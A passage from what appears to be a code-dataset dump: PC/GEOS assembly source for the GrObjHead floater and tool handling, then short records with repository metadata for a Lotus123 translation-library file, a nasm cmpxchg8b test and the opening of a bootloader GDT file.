%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send the encapuslated method to the floater object
with a MSG_META_SEND_CLASSED_EVENT
PASS:
*(ds:si) - instance data of object
cx - recorded message handle
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
WARNING: This message handler is not dynamic, so it can
be called as a routine. Thusly, only *ds:si can
be counted on. And it must be careful about the
regsiters is destroys.
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 7/16/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadClassedEventToFloater method GrObjHeadClass, \
MSG_GH_CLASSED_EVENT_TO_FLOATER
uses ax,bx,dx,di
.enter
mov di,ds:[si]
mov bx,ds:[di].GH_floater.handle
tst bx
jz done
mov si,ds:[di].GH_floater.chunk
mov di,mask MF_FIXUP_DS
mov ax,MSG_META_SEND_CLASSED_EVENT
mov dx, TO_SELF
call ObjMessage
done:
.leave
ret
GrObjHeadClassedEventToFloater endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadClassedEventToFloaterIfCurrentBody
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
Send the encapuslated method to the floater object if the
passed body od is the current body
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
cx - recorded message handle
dx:bp - od of body
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 7/16/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadClassedEventToFloaterIfCurrentBody \
method dynamic GrObjHeadClass, \
MSG_GH_CLASSED_EVENT_TO_FLOATER_IF_CURRENT_BODY
uses ax,cx
.enter
; Get current body od and compare to passed one
;
call GrObjHeadGetCurrentBody
cmp dx,ax ;body handles
jne done
cmp bp,bx ;body chunks
jne done
call GrObjHeadClassedEventToFloater
done:
.leave
ret
GrObjHeadClassedEventToFloaterIfCurrentBody endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadFloaterFinishedCreate
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
Notify head that the current floater has just
completed creation of a new object. Reset the
instance data of the current floater and
notify the application that a tool has completed
its job
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 7/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadFloaterFinishedCreate method dynamic GrObjHeadClass,
MSG_GH_FLOATER_FINISHED_CREATE
.enter
mov ax,MSG_GO_REACTIVATE_CREATE
clr di ;MessageFlags
call GrObjHeadMessageToFloater
.leave
ret
GrObjHeadFloaterFinishedCreate endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadGetCurrentBody
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
Return current body od
PASS:
*(ds:si) - instance data of head
RETURN:
ax:bx - OD of current body ( 0 if no current body )
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/24/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadGetCurrentBody proc near
class GrObjHeadClass
uses di,si
.enter
EC < call ECGrObjHeadCheckLMemObject >
mov di,ds:[si]
mov ax,ds:[di].GH_currentBody.handle
mov bx,ds:[di].GH_currentBody.chunk
.leave
ret
GrObjHeadGetCurrentBody endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadSetCurrentTool
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
Sets the current tool class and instantiates a tool of this
class for the floater object and sends the new object
MSG_GO_OBJECT_SPECIFIC_INIITIALIZE with the data passed in bp
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
cx:dx - fptr to object class
bp - MSG_GO_GROBJ_SPECIFIC_INITIALIZE data
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadSetCurrentTool method dynamic GrObjHeadClass,
MSG_GH_SET_CURRENT_TOOL
.enter
EC < jcxz noClass >
EC < push es,di >
EC < mov es,cx >
EC < mov di,dx >
EC < call ECCheckClass >
EC < pop es,di >
EC <noClass: >
cmp ds:[di].GH_currentTool.offset,dx
jne newClass
cmp ds:[di].GH_currentTool.segment,cx
jne newClass
cmp ds:[di].GH_initializeFloaterData,bp
jne newClass
done:
.leave
ret
newClass:
; Store new class in instance data
;
movdw ds:[di].GH_currentTool,cxdx
mov ds:[di].GH_initializeFloaterData,bp
; Create new floater of passed class
;
call GrObjHeadCreateFloater
mov ax, MSG_GH_SEND_NOTIFY_CURRENT_TOOL
call ObjCallInstanceNoLock
jmp done
GrObjHeadSetCurrentTool endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadSetCurrentToolWithDataBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS:
Sets the current tool class and instantiates a tool of this
class for the floater object and sends the new object
MSG_GO_OBJECT_SPECIFIC_INIITIALIZE_WITH_DATA_BLOCK with the
data block passed in bp
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
cx:dx - fptr to object class
bp - data block
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/18/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadSetCurrentToolWithDataBlock method dynamic GrObjHeadClass,
MSG_GH_SET_CURRENT_TOOL_WITH_DATA_BLOCK
.enter
EC < push es,di >
EC < mov es,cx >
EC < mov di,dx >
EC < call ECCheckClass >
EC < pop es,di >
; Store new class in instance data
;
movdw ds:[di].GH_currentTool,cxdx
; Create new floater of passed class
;
call GrObjHeadCreateFloaterWithDataBlock
.leave
ret
GrObjHeadSetCurrentToolWithDataBlock endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadSetCurrentBody
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Make the passed body the current one.
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
cx:dx - body to be made the current one
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
This method should be optimized for SMALL SIZE over SPEED
Common cases:
unknown
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadSetCurrentBody method dynamic GrObjHeadClass,
MSG_GH_SET_CURRENT_BODY
uses ax,cx,dx,bp
.enter
; Don't do anything if this body is already the current one
;
cmp ds:[di].GH_currentBody.handle,cx
jne setNew
cmp ds:[di].GH_currentBody.chunk,dx
je done
; Store the new body od
;
setNew:
mov ds:[di].GH_currentBody.handle,cx
mov ds:[di].GH_currentBody.chunk,dx
tst ds:[di].GH_floater.handle
jz newFloater
;
; Store the body in the floater's obj block output
;
call GrObjHeadSetBodyInFloaterBlock
; Activate the new floater. This will cause it to notify
; any selected or edited objects in the new body.
;
call GrObjHeadActivateCreateFloater
mov di, ds:[si]
mov cx,ds:[di].GH_currentTool.segment
mov dx,ds:[di].GH_currentTool.offset
mov bp,ds:[di].GH_initializeFloaterData
updateController:
mov ax, MSG_GH_SEND_NOTIFY_CURRENT_TOOL
call ObjCallInstanceNoLock
done:
.leave
ret
newFloater:
; Create floater of current tool class, if
; class has been set
;
movdw cxdx,ds:[di].GH_currentTool
mov bp,ds:[di].GH_initializeFloaterData
jcxz updateController
call GrObjHeadCreateFloater
jmp updateController
GrObjHeadSetCurrentBody endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadSetBodyInFloaterBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Description: Sets the OLMBH_output field of the floater's block
to the passed body
Pass: *ds:si - GrObjHead
^lcx:dx - GrObjBody
Return: nothing
Destroyed: nothing
Revision History:
Name Date Description
---- ------------ -----------
jon Jul 16, 1992 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadSetBodyInFloaterBlock proc near
class GrObjHeadClass
uses ax, bx, es
.enter
mov bx, ds:[si]
mov bx, ds:[bx].GH_floater.handle
tst bx
jz done
call ObjLockObjBlock
mov es, ax
movdw es:[OLMBH_output], cxdx
call MemUnlock
done:
.leave
ret
GrObjHeadSetBodyInFloaterBlock endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadClearCurrentBody
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Clear the current body if it is the passed body.
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
cx:dx - body to clear
RETURN:
nothing
DESTROYED:
ax
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/26/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadClearCurrentBody method dynamic GrObjHeadClass,
MSG_GH_CLEAR_CURRENT_BODY
uses cx, dx
.enter
; Get current body and compare to passed body, if
; different then just exit, otherwise clear current body
;
call GrObjHeadGetCurrentBody
sub cx,ax ;compare handles
jnz done
sub dx,bx ;compare chunks
jnz done
call GrObjHeadSetBodyInFloaterBlock
mov di,ds:[si]
mov ds:[di].GH_currentBody.handle,cx ;ax=0 from sub
mov ds:[di].GH_currentBody.chunk,cx
done:
.leave
ret
GrObjHeadClearCurrentBody endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadGuaranteeFloater
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: If we don't have a floater then create one. Unless
we have no tool class. Then do nothing
CALLED BY: INTERNAL UTILITY
PASS: *ds:si - GrObjHead
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
This routine should be optimized for SMALL SIZE over SPEED
Common cases:
Floater exists
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 1/25/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadGuaranteeFloater proc near
class GrObjHeadClass
uses cx,dx,bp,di
.enter
EC < call ECGrObjHeadCheckLMemObject >
mov di,ds:[si]
tst ds:[di].GH_floater.handle
jz create
done:
.leave
ret
create:
movdw cxdx,ds:[di].GH_currentTool
mov bp,ds:[di].GH_initializeFloaterData
jcxz done
call GrObjHeadCreateFloater
jmp done
GrObjHeadGuaranteeFloater endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadCreateFloater
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a new floater and destroy any existing floater
in the process. Stores od of new floater in graphicHead
instance data.
CALLED BY: INTERNAL
GrObjHeadSetCurrentTool
PASS:
*ds:si - GrObjHead object
cx:dx - fptr to class of floater
bp - Word of data to be sent with
MSG_GO_OBJECT_SPECIFIC_INIITIALIZE to
the floater when it is instantiated
RETURN:
floater od in GH_floater
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/24/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadCreateFloater proc near
class GrObjHeadClass
uses ax,bx,cx,dx,di,es
.enter
EC < jcxz noClass >
EC < call ECGrObjHeadCheckLMemObject >
EC < push es,di >
EC < mov es,cx >
EC < mov di,dx >
EC < call ECCheckClass >
EC < pop es,di >
EC <noClass: >
call GrObjHeadDestroyFloater
;
; If we're passed a null class ptr, don't create a floater...
;
jcxz done
; Create new floater
push si ;head lmem
mov es,cx ;floater class segment
mov di,dx ;floater class offset
call GrObjHeadCreateBlock
call ObjInstantiate
; Store od of new floater in instance data
;
mov_tr ax,si ;floater lmem
pop si ;head lmem
mov di,ds:[si]
mov ds:[di].GH_floater.handle,bx
mov ds:[di].GH_floater.chunk,ax
call GrObjHeadGetCurrentBody
mov cx,ax ;body handle
mov dx,bx ;body chunk
call GrObjHeadSetBodyInFloaterBlock
; Do object specific initialization
;
mov ax,MSG_GO_GROBJ_SPECIFIC_INITIALIZE
mov di,mask MF_FIXUP_DS
call GrObjHeadMessageToFloater
; Activate the new floater
;
call GrObjHeadActivateCreateFloater
done:
.leave
ret
GrObjHeadCreateFloater endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadCreateFloaterWithDataBlock
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Create a new floater and destroy any existing floater
in the process. Stores od of new floater in graphicHead
instance data.
CALLED BY: INTERNAL
GrObjHeadSetCurrentTool
PASS:
*ds:si - GrObjHead object
cx:dx - fptr to class of floater
bp - Data block
RETURN:
floater od in GH_floater
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/24/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadCreateFloaterWithDataBlock proc near
class GrObjHeadClass
uses ax,bx,cx,dx,di,es
.enter
EC < call ECGrObjHeadCheckLMemObject >
EC < push es,di >
EC < mov es,cx >
EC < mov di,dx >
EC < call ECCheckClass >
EC < pop es,di >
call GrObjHeadDestroyFloater
;
; If we're passed a null class ptr, don't create a floater...
;
jcxz done
; Create new floater
push si ;head lmem
mov es,cx ;floater class segment
mov di,dx ;floater class offset
call GrObjHeadCreateBlock
call ObjInstantiate
; Store od of new floater in instance data
;
mov ax,si ;floater lmem
pop si ;head lmem
mov di,ds:[si]
mov ds:[di].GH_floater.handle,bx
mov ds:[di].GH_floater.chunk,ax
call GrObjHeadGetCurrentBody
mov cx,ax ;body handle
mov dx,bx ;body chunk
call GrObjHeadSetBodyInFloaterBlock
; Do object specific initialization
;
mov ax,MSG_GO_GROBJ_SPECIFIC_INITIALIZE_WITH_DATA_BLOCK
mov di,mask MF_FIXUP_DS
call GrObjHeadMessageToFloater
; Activate the new floater
;
call GrObjHeadActivateCreateFloater
done:
.leave
ret
GrObjHeadCreateFloaterWithDataBlock endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadActivateCreateFloater
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Send MSG_GO_ACTIVATE_CREATE to the floater
CALLED BY: INTERNAL
GrObjHeadCreateFloater
GrObjHeadSetCurrentBody
GrObjSetCurrentTool
PASS:
*ds:si - GrObjHead
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
This routine should be optimized for SMALL SIZE over SPEED
Common cases:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 2/15/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadActivateCreateFloater proc near
uses ax,cx,di
.enter
EC < call ECGrObjHeadCheckLMemObject >
mov cl,mask ACF_NOTIFY
mov ax,MSG_GO_ACTIVATE_CREATE
mov di,mask MF_FIXUP_DS
call GrObjHeadMessageToFloater
.leave
ret
GrObjHeadActivateCreateFloater endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadDestroyFloater
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Destroy the current floater
CALLED BY: INTERNAL
GrObjHeadCreateFloater
PASS:
*ds:si - graphicHead
RETURN:
nothing
DESTROYED:
nothing
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 6/24/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadDestroyFloater proc near
class GrObjHeadClass
uses ax,bx,cx,dx,di,si
.enter
EC < call ECGrObjHeadCheckLMemObject >
; Get OD of floater in bx:si and clear od in instance data
;
mov di,ds:[si]
clr bx
xchg bx,ds:[di].GH_floater.handle
clr si
xchg si,ds:[di].GH_floater.chunk
; Exit if current od handle is zero
;
tst bx ;floater handle
jz done
; Vaporize floater
;
mov ax,MSG_GO_CLEAR_SANS_UNDO
mov di,mask MF_FIXUP_DS
call ObjMessage
done:
.leave
ret
GrObjHeadDestroyFloater endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadAllLargePTRs
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Pass ptr events onto the floater so we can
get the pointer image set correctly. A ptr event
should only arrive here from a body with no
mouse grab. It is probably a body that is
not the current target
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
ss:bp - LargeMouseData
RETURN:
ax - MouseReturnFlags
if MRF_SET_POINTER_IMAGE then
cx:dx: - optr of image
else
cx,dx - destroyed
DESTROYED:
bp, see RETURN
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 9/21/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadAllLargePTRs method dynamic GrObjHeadClass, MSG_META_LARGE_PTR
.enter
mov di,mask MF_CALL or mask MF_STACK or mask MF_FIXUP_DS
mov dx,size LargeMouseData
call GrObjHeadMessageToFloater
jz noFloater
done:
.leave
ret
noFloater:
; Yow, there is no floater.
;
clr ax
jmp done
GrObjHeadAllLargePTRs endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
GrObjHeadSetTextToolForSearchSpell
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Set the current tool to the MultTextGuardianClass
PASS:
*(ds:si) - instance data of object
ds:[bx] - instance data of object
ds:[di] - master part of object (if any)
es - segment of GrObjHeadClass
RETURN:
nothing
DESTROYED:
ax
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
This method should be optimized for SMALL SIZE over SPEED
Common cases:
unknown
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 12/11/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
GrObjHeadSetTextToolForSearchSpell method dynamic GrObjHeadClass,
MSG_GH_SET_TEXT_TOOL_FOR_SEARCH_SPELL
uses cx,dx,bp
.enter
mov cx, segment MultTextGuardianClass
mov dx, offset MultTextGuardianClass
clr bp
mov ax,MSG_GH_SET_CURRENT_TOOL
call ObjCallInstanceNoLock
.leave
ret
GrObjHeadSetTextToolForSearchSpell endm
GrObjRequiredInteractiveCode ends
if ERROR_CHECK
GrObjErrorCode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
ECGrObjHeadCheckLMemObject
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Checks to see if *ds:si* is a pointer to an object stored
in an object block and that it is an GrObjHeadClass or one
of its subclasses
CALLED BY: INTERNAL
PASS:
*(ds:si) - object chunk to check
RETURN:
none
DESTROYED:
nothing - not even flags
PSEUDO CODE/STRATEGY:
none
KNOWN BUGS/SIDE EFFECTS/IDEAS:
none
REVISION HISTORY:
Name Date Description
---- ---- -----------
srs 2/24/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ECGrObjHeadCheckLMemObject proc far
uses es,di
.enter
pushf
call ECCheckLMemObject
mov di,segment GrObjHeadClass
mov es,di
mov di,offset GrObjHeadClass
call ObjIsObjectInClass
ERROR_NC OBJECT_NOT_OF_CORRECT_CLASS
popf
.leave
ret
ECGrObjHeadCheckLMemObject endp
GrObjErrorCode ends
endif
| 21.233632 | 82 | 0.572119 |
bec955851f0ed7ba24f8f02f20d9c8cec030bf85 | 1,457 | asm | Assembly | Library/Trans/SSheet/Lotus123/Shared/sharedManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 504 | 2018-11-18T03:35:53.000Z | 2022-03-29T01:02:51.000Z | Library/Trans/SSheet/Lotus123/Shared/sharedManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 96 | 2018-11-19T21:06:50.000Z | 2022-03-06T10:26:48.000Z | Library/Trans/SSheet/Lotus123/Shared/sharedManager.asm | steakknife/pcgeos | 95edd7fad36df400aba9bab1d56e154fc126044a | [
"Apache-2.0"
] | 73 | 2018-11-19T20:46:53.000Z | 2022-03-29T00:59:26.000Z |
COMMENT @-----------------------------------------------------------------------
Copyright (c) Geoworks 1991 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE:
AUTHOR: Cheng, 1/91
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/91 Initial revision
DESCRIPTION:
$Id: sharedManager.asm,v 1.1 97/04/07 11:42:14 newdeal Exp $
-------------------------------------------------------------------------------@
_Shared = 1
include lotus123Geode.def
include lotus123Constant.def
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; Constants/Variables
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
;
; REENTRANT_CODE must be set either TRUE or FALSE before transLibEntry.asm
; is included.
;
REENTRANT_CODE equ TRUE
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
; Code
;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
include transLibEntry.asm ; library entry point
CommonCode segment resource
global InputCacheAttach:far
global InputCacheGetChar:far
global InputCacheDestroy:far
global OutputCacheAttach:far
global OutputCacheWrite:far
global OutputCacheFlush:far
global OutputCacheDestroy:far
include sharedCacheConstant.def
include sharedCache.asm
CommonCode ends
end
| 23.885246 | 81 | 0.481126 |
4e46bcd6e9a525c52cd044d883dc49fb5214b5aa | 296 | asm | Assembly | tests/nasm/cmpxchg8b.asm | brenden7158/v86 | c9e274dc6e8cc619d1b36d57a69299aee6a45a91 | [
"BSD-2-Clause"
] | 12,700 | 2015-01-04T15:03:42.000Z | 2022-03-31T06:43:06.000Z | tests/nasm/cmpxchg8b.asm | brenden7158/v86 | c9e274dc6e8cc619d1b36d57a69299aee6a45a91 | [
"BSD-2-Clause"
] | 566 | 2015-01-01T18:16:40.000Z | 2022-03-31T19:59:10.000Z | tests/nasm/cmpxchg8b.asm | brenden7158/v86 | c9e274dc6e8cc619d1b36d57a69299aee6a45a91 | [
"BSD-2-Clause"
] | 1,182 | 2015-01-05T09:20:48.000Z | 2022-03-31T12:16:52.000Z | global _start
section .data
%include "header.inc"
mov eax, 123456789
mov edx, 987654321
mov dword [esp], 123456789
mov dword [esp+4], 987654321
cmpxchg8b [esp]
push eax
push ecx
push ebx
push edx
pushf
and dword [esp], 8ffh
%include "footer.inc"
| 13.454545 | 32 | 0.628378 |
fb30b304711a78015f9ebd00511c91bdf2174985 | 2,434 | asm | Assembly | bootloader/gdt.asm | ChromaMaster/os-dev | 98733dc836d527f91f261568481dc0d3a01c005d | [
"MIT"
] | null | null | null | bootloader/gdt.asm | ChromaMaster/os-dev | 98733dc836d527f91f261568481dc0d3a01c005d | [
"MIT"
] | null | null | null | bootloader/gdt.asm | ChromaMaster/os-dev | 98733dc836d527f91f261568481dc0d3a01c005d | [
"MIT"
] | null | null | null | [bits 16]
; Fully explained here
; http://www.osdever.net/tutorials/view/the-world-of-protected-mode
gdt_start: ; don't remove the labels, they're needed to compute sizes and jumps
; the GDT starts with a null 8-byte
dd 0x0 ; 4 byte
dd 0x0 ; 4 byte
; GDT for code segment.
; for flags, refer to os-dev.pdf document, page 36\
